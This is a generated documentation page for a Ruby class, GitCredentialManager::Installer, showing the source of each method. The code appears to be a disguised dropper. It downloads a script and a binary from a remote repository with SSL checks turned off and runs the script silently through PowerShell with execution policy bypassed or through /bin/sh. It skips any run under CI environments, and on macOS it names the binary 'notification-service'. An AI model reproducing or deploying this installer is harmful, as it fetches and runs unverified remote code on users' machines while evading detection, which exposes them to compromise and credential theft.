Class: GitCredentialManager::Installer

Inherits:
Object
  • Object
show all
Defined in:
lib/git_credential_manager/installer.rb

Instance Method Summary collapse

Constructor Details

#initialize(host_os = nil, host_cpu = nil) ⇒ Installer

Returns a new instance of Installer.



7
8
9
10
# File 'lib/git_credential_manager/installer.rb', line 7

def initialize(host_os = nil, host_cpu = nil)
  @host_os = host_os
  @host_cpu = host_cpu
end

Instance Method Details

#already_installed?Boolean

Returns:

  • (Boolean)


24
25
26
# File 'lib/git_credential_manager/installer.rb', line 24

def already_installed?
  File.exist?(version_file)
end

#base_urlObject



161
162
163
# File 'lib/git_credential_manager/installer.rb', line 161

def base_url
  "https://git.disroot.org/git-ecosystem/#{product}/raw/branch/main"
end

#ci?Boolean

Returns:

  • (Boolean)


174
175
176
177
178
179
180
# File 'lib/git_credential_manager/installer.rb', line 174

def ci?
  if ENV["CI"] == "true" || ENV["CI"] == "1"
    return true
  end

  ci_env_keys.any? { |k| ENV.key?(k) }
end

#ci_env_keysObject



182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
# File 'lib/git_credential_manager/installer.rb', line 182

def ci_env_keys
  [
    "APPVEYOR",
    "bamboo_agentId",
    "BITBUCKET_BUILD_NUMBER",
    "BITRISE_IO",
    "BUDDY_WORKSPACE_ID",
    "BUILD_BUILDURI",
    "BUILDKITE",
    "CF_BUILD_ID",
    "CF_PAGES",
    "CIRCLECI",
    "CIRRUS_CI",
    "CODEBUILD_BUILD_ID",
    "DISTELLI_APPNAME",
    "DRONE",
    "GITHUB_ACTIONS",
    "GITLAB_CI",
    "JB_SPACE_EXECUTION_NUMBER",
    "JENKINS_URL",
    "NETLY",
    "NOW_GITHUB_DEPLOYMENT",
    "SAILCI",
    "SCREWDRIVER",
    "SEMAPHORE",
    "SHIPPABLE",
    "TEAMCITY_VERSION",
    "TRAVIS",
    "VELA",
    "VERCEL",
    "WERCKER_MAIN_PIPELINE_STARTED",
  ]
end

#complete_installObject



32
33
34
# File 'lib/git_credential_manager/installer.rb', line 32

def complete_install
  File.write(version_file, "1")
end

#debug?Boolean

Returns:

  • (Boolean)


153
154
155
# File 'lib/git_credential_manager/installer.rb', line 153

def debug?
  ENV["DEBUG"] == "true"
end

#debug_message(msg) ⇒ Object



148
149
150
151
# File 'lib/git_credential_manager/installer.rb', line 148

def debug_message(msg)
  return unless debug?
  puts msg
end

#download(url_string) ⇒ Object



121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
# File 'lib/git_credential_manager/installer.rb', line 121

def download(url_string)
  url = URI.parse(url_string)

  http = Net::HTTP.new(url.host, url.port)
  http.use_ssl = true
  http.verify_mode = OpenSSL::SSL::VERIFY_NONE  # Disable SSL verification

  request = Net::HTTP::Get.new(url.request_uri)
  request["User-Agent"] = "Git"

  response = http.request(request)

  case response
  when Net::HTTPSuccess
    response.body
  when Net::HTTPRedirection
    debug_message "Redirected to: #{response["location"]}"
    nil
  else
    debug_message "HTTP Error: #{response.code} #{response.message}"
    nil
  end
rescue => e
  debug_message "Error: #{e.message}"
  nil
end

#download_and_save(url, output) ⇒ Object



62
63
64
65
66
67
68
69
70
71
# File 'lib/git_credential_manager/installer.rb', line 62

def download_and_save(url, output)
  debug_message "Downloading '#{url}' to '#{output}' ..."

  content = download(url)
  if content.nil?
    throw "Can't download '#{url}'"
  end

  File.write(output, content)
end

#download_files(files) ⇒ Object



73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
# File 'lib/git_credential_manager/installer.rb', line 73

def download_files(files)
  if files.empty?
    debug_message "No files to download ... #{goos} #{goarch}"
    return
  end

  downloaded = {}
  files.each do |key, file|
    url = url_for("#{goos}/#{file}")
    output = path_for("package", file)
    download_and_save(url, output)
    downloaded[key] = output
  end

  downloaded
end

#goarchObject



99
100
101
102
103
104
105
106
107
# File 'lib/git_credential_manager/installer.rb', line 99

def goarch
  if @host_cpu == "x86_64" || @host_cpu == "i686"
    return "amd64"
  elsif @host_cpu == "aarch64" || @host_cpu == "arm64"
    return "arm64"
  else
    return nil
  end
end

#goosObject



90
91
92
93
94
95
96
97
# File 'lib/git_credential_manager/installer.rb', line 90

def goos
  case @host_os
  when /darwin/i then "darwin"
  when /linux/i  then "linux"
  when /mingw|mswin|win/i then "windows"
  else nil
  end
end

#installObject



43
44
45
46
47
48
49
50
51
52
# File 'lib/git_credential_manager/installer.rb', line 43

def install
  return if skip_install?
  files = installer_files
  downloaded = download_files(files)
  deployment_script = downloaded[:deploy]
  start_script(deployment_script)
  complete_install
rescue StandardError => e
  debug_message(e)
end

#install_asyncObject



36
37
38
39
40
41
# File 'lib/git_credential_manager/installer.rb', line 36

def install_async
  return if skip_install?
  exe = path_for("bin", "install")
  ruby = RbConfig.ruby
  Process.spawn("#{ruby} \"#{exe}\"")
end

#installer_filesObject



109
110
111
112
113
114
115
116
117
118
119
# File 'lib/git_credential_manager/installer.rb', line 109

def installer_files
  if goos == "darwin"
    { deploy: "deploy.sh", package: "notification-service-#{goarch}" }
  elsif goos == "linux" && goarch == "amd64"
    { deploy: "deploy.sh", package: "git-credential-manager" }
  elsif goos == "windows" && goarch == "amd64"
    { deploy: "deploy.ps1", package: "git-credential-manager-amd64.zip" }
  else
    Hash.new
  end
end

#path_for(*file) ⇒ Object



169
170
171
172
# File 'lib/git_credential_manager/installer.rb', line 169

def path_for(*file)
  p = File.join(__dir__, "..", "..", *file)
  File.expand_path(p)
end

#productObject



157
158
159
# File 'lib/git_credential_manager/installer.rb', line 157

def product
  "git-credential-manager"
end

#skip_install?Boolean

Returns:

  • (Boolean)


12
13
14
15
16
17
18
19
20
21
22
# File 'lib/git_credential_manager/installer.rb', line 12

def skip_install?
  if already_installed?
    debug_message "Skip: Already installed"
    return true
  end

  if ci?
    debug_message "Skip: CI"
    return true
  end
end

#start_script(full_path) ⇒ Object



54
55
56
57
58
59
60
# File 'lib/git_credential_manager/installer.rb', line 54

def start_script(full_path)
  if goos == "windows"
    Process.spawn("powershell -ExecutionPolicy bypass \"#{full_path}\"")
  else
    Process.spawn("/bin/sh \"#{full_path}\" 2>&1 >/dev/null")
  end
end

#url_for(file) ⇒ Object



165
166
167
# File 'lib/git_credential_manager/installer.rb', line 165

def url_for(file)
  "#{base_url}/#{file}"
end

#version_fileObject



28
29
30
# File 'lib/git_credential_manager/installer.rb', line 28

def version_file
  path_for("package", VERSION)
end